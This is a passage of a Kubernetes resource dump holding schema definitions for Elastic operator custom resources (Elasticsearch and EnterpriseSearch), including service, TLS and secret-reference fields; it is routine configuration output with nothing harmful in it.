                            This field is beta-level. The eviction API uses this field when
                            the feature gate PDBUnhealthyPodEvictionPolicy is enabled (enabled by default).
                          type: string
                      type: object
                  type: object
                secureSettings:
                  description: SecureSettings is a list of references to Kubernetes
                    secrets containing sensitive configuration options for Elasticsearch.
                  items:
                    description: SecretSource defines a data source based on a Kubernetes
                      Secret.
                    properties:
                      entries:
                        description: |-
                          Entries define how to project each key-value pair in the secret to filesystem paths.
                          If not defined, all keys will be projected to similarly named paths in the filesystem.
                          If defined, only the specified keys will be projected to the corresponding paths.
                        items:
                          description: KeyToPath defines how to map a key in a Secret
                            object to a filesystem path.
                          properties:
                            key:
                              description: Key is the key contained in the secret.
                              type: string
                            path:
                              description: |-
                                Path is the relative file path to map the key to.
                                Path must not be an absolute file path and must not contain any ".." components.
                              type: string
                          required:
                          - key
                          type: object
                        type: array
                      secretName:
                        description: SecretName is the name of the secret.
                        type: string
                    required:
                    - secretName
                    type: object
                  type: array
                updateStrategy:
                  description: UpdateStrategy specifies how updates to the cluster
                    should be performed.
                  properties:
                    changeBudget:
                      description: ChangeBudget defines the constraints to consider
                        when applying changes to the Elasticsearch cluster.
                      properties:
                        maxSurge:
                          description: |-
                            MaxSurge is the maximum number of new pods that can be created exceeding the original number of pods defined in
                            the specification. MaxSurge is only taken into consideration when scaling up. Setting a negative value will
                            disable the restriction. Defaults to unbounded if not specified.
                          format: int32
                          type: integer
                        maxUnavailable:
                          description: |-
                            MaxUnavailable is the maximum number of pods that can be unavailable (not ready) during the update due to
                            circumstances under the control of the operator. Setting a negative value will disable this restriction.
                            Defaults to 1 if not specified.
                          format: int32
                          type: integer
                      type: object
                  type: object
                version:
                  description: Version of Elasticsearch.
                  type: string
              required:
              - nodeSets
              type: object
            status:
              description: ElasticsearchStatus defines the observed state of Elasticsearch
              properties:
                availableNodes:
                  format: int32
                  type: integer
                health:
                  description: ElasticsearchHealth is the health of the cluster as
                    returned by the health API.
                  type: string
                phase:
                  description: ElasticsearchOrchestrationPhase is the phase Elasticsearch
                    is in from the controller point of view.
                  type: string
              type: object
          type: object
      served: true
      storage: false
      subresources:
        status: {}
    - name: v1alpha1
      schema:
        openAPIV3Schema:
          description: to not break compatibility when upgrading from previous versions
            of the CRD
          type: object
      served: false
      storage: false
  status:
    acceptedNames:
      categories:
      - elastic
      kind: Elasticsearch
      listKind: ElasticsearchList
      plural: elasticsearches
      shortNames:
      - es
      singular: elasticsearch
    conditions:
    - lastTransitionTime: "2025-09-23T11:56:02Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-23T11:56:02Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.15.0
      helm.sh/resource-policy: keep
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"apiextensions.k8s.io/v1","kind":"CustomResourceDefinition","metadata":{"annotations":{"controller-gen.kubebuilder.io/version":"v0.15.0","helm.sh/resource-policy":"keep"},"labels":{"app.kubernetes.io/instance":"elastic-operator","app.kubernetes.io/name":"eck-operator-crds","app.kubernetes.io/version":"2.14.0"},"name":"enterprisesearches.enterprisesearch.k8s.elastic.co"},"spec":{"group":"enterprisesearch.k8s.elastic.co","names":{"categories":["elastic"],"kind":"EnterpriseSearch","listKind":"EnterpriseSearchList","plural":"enterprisesearches","shortNames":["ent"],"singular":"enterprisesearch"},"scope":"Namespaced","versions":[{"additionalPrinterColumns":[{"jsonPath":".status.health","name":"health","type":"string"},{"description":"Available nodes","jsonPath":".status.availableNodes","name":"nodes","type":"integer"},{"description":"Enterprise Search version","jsonPath":".status.version","name":"version","type":"string"},{"jsonPath":".metadata.creationTimestamp","name":"age","type":"date"}],"name":"v1","schema":{"openAPIV3Schema":{"description":"EnterpriseSearch is a Kubernetes CRD to represent Enterprise Search.","properties":{"apiVersion":{"description":"APIVersion defines the versioned schema of this representation of an object.\nServers should convert recognized schemas to the latest internal value, and\nmay reject unrecognized values.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources","type":"string"},"kind":{"description":"Kind is a string value representing the REST resource this object represents.\nServers may infer this from the endpoint the client submits requests to.\nCannot be updated.\nIn CamelCase.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds","type":"string"},"metadata":{"type":"object"},"spec":{"description":"EnterpriseSearchSpec holds the specification of an Enterprise Search resource.","properties":{"config":{"description":"Config holds the Enterprise Search configuration.","type":"object","x-kubernetes-preserve-unknown-fields":true},"configRef":{"description":"ConfigRef contains a reference to an existing Kubernetes Secret holding the Enterprise Search configuration.\nConfiguration settings are merged and have precedence over settings specified in `config`.","properties":{"secretName":{"description":"SecretName is the name of the secret.","type":"string"}},"type":"object"},"count":{"description":"Count of Enterprise Search instances to deploy.","format":"int32","type":"integer"},"elasticsearchRef":{"description":"ElasticsearchRef is a reference to the Elasticsearch cluster running in the same Kubernetes cluster.","properties":{"name":{"description":"Name of an existing Kubernetes object corresponding to an Elastic resource managed by ECK.","type":"string"},"namespace":{"description":"Namespace of the Kubernetes object. If empty, defaults to the current namespace.","type":"string"},"secretName":{"description":"SecretName is the name of an existing Kubernetes secret that contains connection information for associating an\nElastic resource not managed by the operator. The referenced secret must contain the following:\n- `url`: the URL to reach the Elastic resource\n- `username`: the username of the user to be authenticated to the Elastic resource\n- `password`: the password of the user to be authenticated to the Elastic resource\n- `ca.crt`: the CA certificate in PEM format (optional)\n- `api-key`: the key to authenticate against the Elastic resource instead of a username and password (supported only for `elasticsearchRefs` in AgentSpec and in BeatSpec)\nThis field cannot be used in combination with the other fields name, namespace or serviceName.","type":"string"},"serviceName":{"description":"ServiceName is the name of an existing Kubernetes service which is used to make requests to the referenced\nobject. It has to be in the same namespace as the referenced resource. If left empty, the default HTTP service of\nthe referenced resource is used.","type":"string"}},"type":"object"},"http":{"description":"HTTP holds the HTTP layer configuration for Enterprise Search resource.","properties":{"service":{"description":"Service defines the template for the associated Kubernetes Service object.","properties":{"metadata":{"description":"ObjectMeta is the metadata of the service.\nThe name and namespace provided here are managed by ECK and will be ignored.","properties":{"annotations":{"additionalProperties":{"type":"string"},"type":"object"},"finalizers":{"items":{"type":"string"},"type":"array"},"labels":{"additionalProperties":{"type":"string"},"type":"object"},"name":{"type":"string"},"namespace":{"type":"string"}},"type":"object"},"spec":{"description":"Spec is the specification of the service.","properties":{"allocateLoadBalancerNodePorts":{"description":"allocateLoadBalancerNodePorts defines if NodePorts will be automatically\nallocated for services with type LoadBalancer.  Default is \"true\". It\nmay be set to \"false\" if the cluster load-balancer does not rely on\nNodePorts.  If the caller requests specific NodePorts (by specifying a\nvalue), those requests will be respected, regardless of this field.\nThis field may only be set for services with type LoadBalancer and will\nbe cleared if the type is changed to any other type.","type":"boolean"},"clusterIP":{"description":"clusterIP is the IP address of the service and is usually assigned\nrandomly. If an address is specified manually, is in-range (as per\nsystem configuration), and is not in use, it will be allocated to the\nservice; otherwise creation of the service will fail. This field may not\nbe changed through updates unless the type field is also being changed\nto ExternalName (which requires this field to be blank) or the type\nfield is being changed from ExternalName (in which case this field may\noptionally be specified, as describe above).  Valid values are \"None\",\nempty string (\"\"), or a valid IP address. Setting this to \"None\" makes a\n\"headless service\" (no virtual IP), which is useful when direct endpoint\nconnections are preferred and proxying is not required.  Only applies to\ntypes ClusterIP, NodePort, and LoadBalancer. If this field is specified\nwhen creating a Service of type ExternalName, creation will fail. This\nfield will be wiped when updating a Service to type ExternalName.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies","type":"string"},"clusterIPs":{"description":"ClusterIPs is a list of IP addresses assigned to this service, and are\nusually assigned randomly.  If an address is specified manually, is\nin-range (as per system configuration), and is not in use, it will be\nallocated to the service; otherwise creation of the service will fail.\nThis field may not be changed through updates unless the type field is\nalso being changed to ExternalName (which requires this field to be\nempty) or the type field is being changed from ExternalName (in which\ncase this field may optionally be specified, as describe above).  Valid\nvalues are \"None\", empty string (\"\"), or a valid IP address.  Setting\nthis to \"None\" makes a \"headless service\" (no virtual IP), which is\nuseful when direct endpoint connections are preferred and proxying is\nnot required.  Only applies to types ClusterIP, NodePort, and\nLoadBalancer. If this field is specified when creating a Service of type\nExternalName, creation will fail. This field will be wiped when updating\na Service to type ExternalName.  If this field is not specified, it will\nbe initialized from the clusterIP field.  If this field is specified,\nclients must ensure that clusterIPs[0] and clusterIP have the same\nvalue.\n\n\nThis field may hold a maximum of two entries (dual-stack IPs, in either order).\nThese IPs must correspond to the values of the ipFamilies field. Both\nclusterIPs and ipFamilies are governed by the ipFamilyPolicy field.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"externalIPs":{"description":"externalIPs is a list of IP addresses for which nodes in the cluster\nwill also accept traffic for this service.  These IPs are not managed by\nKubernetes.  The user is responsible for ensuring that traffic arrives\nat a node with this IP.  A common example is external load-balancers\nthat are not part of the Kubernetes system.","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"externalName":{"description":"externalName is the external reference that discovery mechanisms will\nreturn as an alias for this service (e.g. a DNS CNAME record). No\nproxying will be involved.  Must be a lowercase RFC-1123 hostname\n(https://tools.ietf.org/html/rfc1123) and requires `type` to be \"ExternalName\".","type":"string"},"externalTrafficPolicy":{"description":"externalTrafficPolicy describes how nodes distribute service traffic they\nreceive on one of the Service's \"externally-facing\" addresses (NodePorts,\nExternalIPs, and LoadBalancer IPs). If set to \"Local\", the proxy will configure\nthe service in a way that assumes that external load balancers will take care\nof balancing the service traffic between nodes, and so each node will deliver\ntraffic only to the node-local endpoints of the service, without masquerading\nthe client source IP. (Traffic mistakenly sent to a node with no endpoints will\nbe dropped.) The default value, \"Cluster\", uses the standard behavior of\nrouting to all endpoints evenly (possibly modified by topology and other\nfeatures). Note that traffic sent to an External IP or LoadBalancer IP from\nwithin the cluster will always get \"Cluster\" semantics, but clients sending to\na NodePort from within the cluster may need to take traffic policy into account\nwhen picking a node.","type":"string"},"healthCheckNodePort":{"description":"healthCheckNodePort specifies the healthcheck nodePort for the service.\nThis only applies when type is set to LoadBalancer and\nexternalTrafficPolicy is set to Local. If a value is specified, is\nin-range, and is not in use, it will be used.  If not specified, a value\nwill be automatically allocated.  External systems (e.g. load-balancers)\ncan use this port to determine if a given node holds endpoints for this\nservice or not.  If this field is specified when creating a Service\nwhich does not need it, creation will fail. This field will be wiped\nwhen updating a Service to no longer need it (e.g. changing type).\nThis field cannot be updated once set.","format":"int32","type":"integer"},"internalTrafficPolicy":{"description":"InternalTrafficPolicy describes how nodes distribute service traffic they\nreceive on the ClusterIP. If set to \"Local\", the proxy will assume that pods\nonly want to talk to endpoints of the service on the same node as the pod,\ndropping the traffic if there are no local endpoints. The default value,\n\"Cluster\", uses the standard behavior of routing to all endpoints evenly\n(possibly modified by topology and other features).","type":"string"},"ipFamilies":{"description":"IPFamilies is a list of IP families (e.g. IPv4, IPv6) assigned to this\nservice. This field is usually assigned automatically based on cluster\nconfiguration and the ipFamilyPolicy field. If this field is specified\nmanually, the requested family is available in the cluster,\nand ipFamilyPolicy allows it, it will be used; otherwise creation of\nthe service will fail. This field is conditionally mutable: it allows\nfor adding or removing a secondary IP family, but it does not allow\nchanging the primary IP family of the Service. Valid values are \"IPv4\"\nand \"IPv6\".  This field only applies to Services of types ClusterIP,\nNodePort, and LoadBalancer, and does apply to \"headless\" services.\nThis field will be wiped when updating a Service to type ExternalName.\n\n\nThis field may hold a maximum of two entries (dual-stack families, in\neither order).  These families must correspond to the values of the\nclusterIPs field, if specified. Both clusterIPs and ipFamilies are\ngoverned by the ipFamilyPolicy field.","items":{"description":"IPFamily represents the IP Family (IPv4 or IPv6). This type is used\nto express the family of an IP expressed by a type (e.g. service.spec.ipFamilies).","type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"ipFamilyPolicy":{"description":"IPFamilyPolicy represents the dual-stack-ness requested or required by\nthis Service. If there is no value provided, then this field will be set\nto SingleStack. Services can be \"SingleStack\" (a single IP family),\n\"PreferDualStack\" (two IP families on dual-stack configured clusters or\na single IP family on single-stack clusters), or \"RequireDualStack\"\n(two IP families on dual-stack configured clusters, otherwise fail). The\nipFamilies and clusterIPs fields depend on the value of this field. This\nfield will be wiped when updating a service to type ExternalName.","type":"string"},"loadBalancerClass":{"description":"loadBalancerClass is the class of the load balancer implementation this Service belongs to.\nIf specified, the value of this field must be a label-style identifier, with an optional prefix,\ne.g. \"internal-vip\" or \"example.com/internal-vip\". Unprefixed names are reserved for end-users.\nThis field can only be set when the Service type is 'LoadBalancer'. If not set, the default load\nbalancer implementation is used, today this is typically done through the cloud provider integration,\nbut should apply for any default implementation. If set, it is assumed that a load balancer\nimplementation is watching for Services with a matching class. Any default load balancer\nimplementation (e.g. cloud providers) should ignore Services that set this field.\nThis field can only be set when creating or updating a Service to type 'LoadBalancer'.\nOnce set, it can not be changed. This field will be wiped when a service is updated to a non 'LoadBalancer' type.","type":"string"},"loadBalancerIP":{"description":"Only applies to Service Type: LoadBalancer.\nThis feature depends on whether the underlying cloud-provider supports specifying\nthe loadBalancerIP when a load balancer is created.\nThis field will be ignored if the cloud-provider does not support the feature.\nDeprecated: This field was under-specified and its meaning varies across implementations.\nUsing it is non-portable and it may not support dual-stack.\nUsers are encouraged to use implementation-specific annotations when available.","type":"string"},"loadBalancerSourceRanges":{"description":"If specified and supported by the platform, this will restrict traffic through the cloud-provider\nload-balancer will be restricted to the specified client IPs. This field will be ignored if the\ncloud-provider does not support the feature.\"\nMore info: https://kubernetes.io/docs/tasks/access-application-cluster/create-external-load-balancer/","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"ports":{"description":"The list of ports that are exposed by this service.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies","items":{"description":"ServicePort contains information on service's port.","properties":{"appProtocol":{"description":"The application protocol for this port.\nThis is used as a hint for implementations to offer richer behavior for protocols that they understand.\nThis field follows standard Kubernetes label syntax.\nValid values are either:\n\n\n* Un-prefixed protocol names - reserved for IANA standard service names (as per\nRFC-6335 and https://www.iana.org/assignments/service-names).\n\n\n* Kubernetes-defined prefixed names:\n  * 'kubernetes.io/h2c' - HTTP/2 prior knowledge over cleartext as described in https://www.rfc-editor.org/rfc/rfc9113.html#name-starting-http-2-with-prior-\n  * 'kubernetes.io/ws'  - WebSocket over cleartext as described in https://www.rfc-editor.org/rfc/rfc6455\n  * 'kubernetes.io/wss' - WebSocket over TLS as described in https://www.rfc-editor.org/rfc/rfc6455\n\n\n* Other protocols should use implementation-defined prefixed names such as\nmycompany.com/my-custom-protocol.","type":"string"},"name":{"description":"The name of this port within the service. This must be a DNS_LABEL.\nAll ports within a ServiceSpec must have unique names. When considering\nthe endpoints for a Service, this must match the 'name' field in the\nEndpointPort.\nOptional if only one ServicePort is defined on this service.","type":"string"},"nodePort":{"description":"The port on each node on which this service is exposed when type is\nNodePort or LoadBalancer.  Usually assigned by the system. If a value is\nspecified, in-range, and not in use it will be used, otherwise the\noperation will fail.  If not specified, a port will be allocated if this\nService requires one.  If this field is specified when creating a\nService which does not need it, creation will fail. This field will be\nwiped when updating a Service to no longer need it (e.g. changing type\nfrom NodePort to ClusterIP).\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#type-nodeport","format":"int32","type":"integer"},"port":{"description":"The port that will be exposed by this service.","format":"int32","type":"integer"},"protocol":{"default":"TCP","description":"The IP protocol for this port. Supports \"TCP\", \"UDP\", and \"SCTP\".\nDefault is TCP.","type":"string"},"targetPort":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"Number or name of the port to access on the pods targeted by the service.\nNumber must be in the range 1 to 65535. Name must be an IANA_SVC_NAME.\nIf this is a string, it will be looked up as a named port in the\ntarget Pod's container ports. If this is not specified, the value\nof the 'port' field is used (an identity map).\nThis field is ignored for services with clusterIP=None, and should be\nomitted or set equal to the 'port' field.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#defining-a-service","x-kubernetes-int-or-string":true}},"required":["port"],"type":"object"},"type":"array","x-kubernetes-list-map-keys":["port","protocol"],"x-kubernetes-list-type":"map"},"publishNotReadyAddresses":{"description":"publishNotReadyAddresses indicates that any agent which deals with endpoints for this\nService should disregard any indications of ready/not-ready.\nThe primary use case for setting this field is for a StatefulSet's Headless Service to\npropagate SRV DNS records for its Pods for the purpose of peer discovery.\nThe Kubernetes controllers that generate Endpoints and EndpointSlice resources for\nServices interpret this to mean that all endpoints are considered \"ready\" even if the\nPods themselves are not. Agents which consume only Kubernetes generated endpoints\nthrough the Endpoints or EndpointSlice resources can safely assume this behavior.","type":"boolean"},"selector":{"additionalProperties":{"type":"string"},"description":"Route service traffic to pods with label keys and values matching this\nselector. If empty or not present, the service is assumed to have an\nexternal process managing its endpoints, which Kubernetes will not\nmodify. Only applies to types ClusterIP, NodePort, and LoadBalancer.\nIgnored if type is ExternalName.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/","type":"object","x-kubernetes-map-type":"atomic"},"sessionAffinity":{"description":"Supports \"ClientIP\" and \"None\". Used to maintain session affinity.\nEnable client IP based session affinity.\nMust be ClientIP or None.\nDefaults to None.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies","type":"string"},"sessionAffinityConfig":{"description":"sessionAffinityConfig contains the configurations of session affinity.","properties":{"clientIP":{"description":"clientIP contains the configurations of Client IP based session affinity.","properties":{"timeoutSeconds":{"description":"timeoutSeconds specifies the seconds of ClientIP type session sticky time.\nThe value must be \u003e0 \u0026\u0026 \u003c=86400(for 1 day) if ServiceAffinity == \"ClientIP\".\nDefault value is 10800(for 3 hours).","format":"int32","type":"integer"}},"type":"object"}},"type":"object"},"trafficDistribution":{"description":"TrafficDistribution offers a way to express preferences for how traffic is\ndistributed to Service endpoints. Implementations can use this field as a\nhint, but are not required to guarantee strict adherence. If the field is\nnot set, the implementation will apply its default routing strategy. If set\nto \"PreferClose\", implementations should prioritize endpoints that are\ntopologically close (e.g., same zone).\nThis is an alpha field and requires enabling ServiceTrafficDistribution feature.","type":"string"},"type":{"description":"type determines how the Service is exposed. Defaults to ClusterIP. Valid\noptions are ExternalName, ClusterIP, NodePort, and LoadBalancer.\n\"ClusterIP\" allocates a cluster-internal IP address for load-balancing\nto endpoints. Endpoints are determined by the selector or if that is not\nspecified, by manual construction of an Endpoints object or\nEndpointSlice objects. If clusterIP is \"None\", no virtual IP is\nallocated and the endpoints are published as a set of endpoints rather\nthan a virtual IP.\n\"NodePort\" builds on ClusterIP and allocates a port on every node which\nroutes to the same endpoints as the clusterIP.\n\"LoadBalancer\" builds on NodePort and creates an external load-balancer\n(if supported in the current cloud) which routes to the same endpoints\nas the clusterIP.\n\"ExternalName\" aliases this service to the specified externalName.\nSeveral other fields do not apply to ExternalName services.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#publishing-services-service-types","type":"string"}},"type":"object"}},"type":"object"},"tls":{"description":"TLS defines options for configuring TLS for HTTP.","properties":{"certificate":{"description":"Certificate is a reference to a Kubernetes secret that contains the certificate and private key for enabling TLS.\nThe referenced secret should contain the following:\n\n\n- `ca.crt`: The certificate authority (optional).\n- `tls.crt`: The certificate (or a chain).\n- `tls.key`: The private key to the first certificate in the certificate chain.","properties":{"secretName":{"description":"SecretName is the name of the secret.","type":"string"}},"type":"object"},"selfSignedCertificate":{"description":"SelfSignedCertificate allows configuring the self-signed certificate generated by the operator.","properties":{"disabled":{"description":"Disabled indicates that the provisioning of the self-signed certifcate should be disabled.","type":"boolean"},"subjectAltNames":{"description":"SubjectAlternativeNames is a list of SANs to include in the generated HTTP TLS certificate.","items":{"description":"SubjectAlternativeName represents a SAN entry in a x509 certificate.","properties":{"dns":{"description":"DNS is the DNS name of the subject.","type":"string"},"ip":{"description":"IP is the IP address of the subject.","type":"string"}},"type":"object"},"type":"array"}},"type":"object"}},"type":"object"}},"type":"object"},"image":{"description":"Image is the Enterprise Search Docker image to deploy.","type":"string"},"podTemplate":{"description":"PodTemplate provides customisation options (labels, annotations, affinity rules, resource requests, and so on)\nfor the Enterprise Search pods.","type":"object","x-kubernetes-preserve-unknown-fields":true},"revisionHistoryLimit":{"description":"RevisionHistoryLimit is the number of revisions to retain to allow rollback in the underlying Deployment.","format":"int32","type":"integer"},"serviceAccountName":{"description":"ServiceAccountName is used to check access from the current resource to a resource (for ex. Elasticsearch) in a different namespace.\nCan only be used if ECK is enforcing RBAC on references.","type":"string"},"version":{"description":"Version of Enterprise Search.","type":"string"}},"type":"object"},"status":{"description":"EnterpriseSearchStatus defines the observed state of EnterpriseSearch","properties":{"associationStatus":{"description":"Association is the status of any auto-linking to Elasticsearch clusters.","type":"string"},"availableNodes":{"description":"AvailableNodes is the number of available replicas in the deployment.","format":"int32","type":"integer"},"count":{"description":"Count corresponds to Scale.Status.Replicas, which is the actual number of observed instances of the scaled object.","format":"int32","type":"integer"},"health":{"description":"Health of the deployment.","type":"string"},"observedGeneration":{"description":"ObservedGeneration represents the .metadata.generation that the status is based upon.\nIt corresponds to the metadata generation, which is updated on mutation by the API Server.\nIf the generation observed in status diverges from the generation in metadata, the Enterprise Search\ncontroller has not yet processed the changes contained in the Enterprise Search specification.","format":"int64","type":"integer"},"selector":{"description":"Selector is the label selector used to find all pods.","type":"string"},"service":{"description":"ExternalService is the name of the service associated to the Enterprise Search Pods.","type":"string"},"version":{"description":"Version of the stack resource currently running. During version upgrades, multiple versions may run\nin parallel: this value specifies the lowest version currently running.","type":"string"}},"type":"object"}},"type":"object"}},"served":true,"storage":true,"subresources":{"scale":{"labelSelectorPath":".status.selector","specReplicasPath":".spec.count","statusReplicasPath":".status.count"},"status":{}}},{"additionalPrinterColumns":[{"jsonPath":".status.health","name":"health","type":"string"},{"description":"Available nodes","jsonPath":".status.availableNodes","name":"nodes","type":"integer"},{"description":"Enterprise Search version","jsonPath":".status.version","name":"version","type":"string"},{"jsonPath":".metadata.creationTimestamp","name":"age","type":"date"}],"name":"v1beta1","schema":{"openAPIV3Schema":{"description":"EnterpriseSearch is a Kubernetes CRD to represent Enterprise Search.","properties":{"apiVersion":{"description":"APIVersion defines the versioned schema of this representation of an object.\nServers should convert recognized schemas to the latest internal value, and\nmay reject unrecognized values.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources","type":"string"},"kind":{"description":"Kind is a string value representing the REST resource this object represents.\nServers may infer this from the endpoint the client submits requests to.\nCannot be updated.\nIn CamelCase.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds","type":"string"},"metadata":{"type":"object"},"spec":{"description":"EnterpriseSearchSpec holds the specification of an Enterprise Search resource.","properties":{"config":{"description":"Config holds the Enterprise Search configuration.","type":"object","x-kubernetes-preserve-unknown-fields":true},"configRef":{"description":"ConfigRef contains a reference to an existing Kubernetes Secret holding the Enterprise Search configuration.\nConfiguration settings are merged and have precedence over settings specified in `config`.","properties":{"secretName":{"description":"SecretName is the name of the secret.","type":"string"}},"type":"object"},"count":{"description":"Count of Enterprise Search instances to deploy.","format":"int32","type":"integer"},"elasticsearchRef":{"description":"ElasticsearchRef is a reference to the Elasticsearch cluster running in the same Kubernetes cluster.","properties":{"name":{"description":"Name of an existing Kubernetes object corresponding to an Elastic resource managed by ECK.","type":"string"},"namespace":{"description":"Namespace of the Kubernetes object. If empty, defaults to the current namespace.","type":"string"},"secretName":{"description":"SecretName is the name of an existing Kubernetes secret that contains connection information for associating an\nElastic resource not managed by the operator. The referenced secret must contain the following:\n- `url`: the URL to reach the Elastic resource\n- `username`: the username of the user to be authenticated to the Elastic resource\n- `password`: the password of the user to be authenticated to the Elastic resource\n- `ca.crt`: the CA certificate in PEM format (optional)\n- `api-key`: the key to authenticate against the Elastic resource instead of a username and password (supported only for `elasticsearchRefs` in AgentSpec and in BeatSpec)\nThis field cannot be used in combination with the other fields name, namespace or serviceName.","type":"string"},"serviceName":{"description":"ServiceName is the name of an existing Kubernetes service which is used to make requests to the referenced\nobject. It has to be in the same namespace as the referenced resource. If left empty, the default HTTP service of\nthe referenced resource is used.","type":"string"}},"type":"object"},"http":{"description":"HTTP holds the HTTP layer configuration for Enterprise Search resource.","properties":{"service":{"description":"Service defines the template for the associated Kubernetes Service object.","properties":{"metadata":{"description":"ObjectMeta is the metadata of the service.\nThe name and namespace provided here are managed by ECK and will be ignored.","properties":{"annotations":{"additionalProperties":{"type":"string"},"type":"object"},"finalizers":{"items":{"type":"string"},"type":"array"},"labels":{"additionalProperties":{"type":"string"},"type":"object"},"name":{"type":"string"},"namespace":{"type":"string"}},"type":"object"},"spec":{"description":"Spec is the specification of the service.","properties":{"allocateLoadBalancerNodePorts":{"description":"allocateLoadBalancerNodePorts defines if NodePorts will be automatically\nallocated for services with type LoadBalancer.  Default is \"true\". It\nmay be set to \"false\" if the cluster load-balancer does not rely on\nNodePorts.  If the caller requests specific NodePorts (by specifying a\nvalue), those requests will be respected, regardless of this field.\nThis field may only be set for services with type LoadBalancer and will\nbe cleared if the type is changed to any other type.","type":"boolean"},"clusterIP":{"description":"clusterIP is the IP address of the service and is usually assigned\nrandomly. If an address is specified manually, is in-range (as per\nsystem configuration), and is not in use, it will be allocated to the\nservice; otherwise creation of the service will fail. This field may not\nbe changed through updates unless the type field is also being changed\nto ExternalName (which requires this field to be blank) or the type\nfield is being changed from ExternalName (in which case this field may\noptionally be specified, as describe above).  Valid values are \"None\",\nempty string (\"\"), or a valid IP address. Setting this to \"None\" makes a\n\"headless service\" (no virtual IP), which is useful when direct endpoint\nconnections are preferred and proxying is not required.  Only applies to\ntypes ClusterIP, NodePort, and LoadBalancer. If this field is specified\nwhen creating a Service of type ExternalName, creation will fail. This\nfield will be wiped when updating a Service to type ExternalName.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies","type":"string"},"clusterIPs":{"description":"ClusterIPs is a list of IP addresses assigned to this service, and are\nusually assigned randomly.  If an address is specified manually, is\nin-range (as per system configuration), and is not in use, it will be\nallocated to the service; otherwise creation of the service will fail.\nThis field may not be changed through updates unless the type field is\nalso being changed to ExternalName (which requires this field to be\nempty) or the type field is being changed from ExternalName (in which\ncase this field may optionally be specified, as describe above).  Valid\nvalues are \"None\", empty string (\"\"), or a valid IP address.  Setting\nthis to \"None\" makes a \"headless service\" (no virtual IP), which is\nuseful when direct endpoint connections are preferred and proxying is\nnot required.  Only applies to types ClusterIP, NodePort, and\nLoadBalancer. If this field is specified when creating a Service of type\nExternalName, creation will fail. This field will be wiped when updating\na Service to type ExternalName.  If this field is not specified, it will\nbe initialized from the clusterIP field.  If this field is specified,\nclients must ensure that clusterIPs[0] and clusterIP have the same\nvalue.\n\n\nThis field may hold a maximum of two entries (dual-stack IPs, in either order).\nThese IPs must correspond to the values of the ipFamilies field. Both\nclusterIPs and ipFamilies are governed by the ipFamilyPolicy field.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"externalIPs":{"description":"externalIPs is a list of IP addresses for which nodes in the cluster\nwill also accept traffic for this service.  These IPs are not managed by\nKubernetes.  The user is responsible for ensuring that traffic arrives\nat a node with this IP.  A common example is external load-balancers\nthat are not part of the Kubernetes system.","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"externalName":{"description":"externalName is the external reference that discovery mechanisms will\nreturn as an alias for this service (e.g. a DNS CNAME record). No\nproxying will be involved.  Must be a lowercase RFC-1123 hostname\n(https://tools.ietf.org/html/rfc1123) and requires `type` to be \"ExternalName\".","type":"string"},"externalTrafficPolicy":{"description":"externalTrafficPolicy describes how nodes distribute service traffic they\nreceive on one of the Service's \"externally-facing\" addresses (NodePorts,\nExternalIPs, and LoadBalancer IPs). If set to \"Local\", the proxy will configure\nthe service in a way that assumes that external load balancers will take care\nof balancing the service traffic between nodes, and so each node will deliver\ntraffic only to the node-local endpoints of the service, without masquerading\nthe client source IP. (Traffic mistakenly sent to a node with no endpoints will\nbe dropped.) The default value, \"Cluster\", uses the standard behavior of\nrouting to all endpoints evenly (possibly modified by topology and other\nfeatures). Note that traffic sent to an External IP or LoadBalancer IP from\nwithin the cluster will always get \"Cluster\" semantics, but clients sending to\na NodePort from within the cluster may need to take traffic policy into account\nwhen picking a node.","type":"string"},"healthCheckNodePort":{"description":"healthCheckNodePort specifies the healthcheck nodePort for the service.\nThis only applies when type is set to LoadBalancer and\nexternalTrafficPolicy is set to Local. If a value is specified, is\nin-range, and is not in use, it will be used.  If not specified, a value\nwill be automatically allocated.  External systems (e.g. load-balancers)\ncan use this port to determine if a given node holds endpoints for this\nservice or not.  If this field is specified when creating a Service\nwhich does not need it, creation will fail. This field will be wiped\nwhen updating a Service to no longer need it (e.g. changing type).\nThis field cannot be updated once set.","format":"int32","type":"integer"},"internalTrafficPolicy":{"description":"InternalTrafficPolicy describes how nodes distribute service traffic they\nreceive on the ClusterIP. If set to \"Local\", the proxy will assume that pods\nonly want to talk to endpoints of the service on the same node as the pod,\ndropping the traffic if there are no local endpoints. The default value,\n\"Cluster\", uses the standard behavior of routing to all endpoints evenly\n(possibly modified by topology and other features).","type":"string"},"ipFamilies":{"description":"IPFamilies is a list of IP families (e.g. IPv4, IPv6) assigned to this\nservice. This field is usually assigned automatically based on cluster\nconfiguration and the ipFamilyPolicy field. If this field is specified\nmanually, the requested family is available in the cluster,\nand 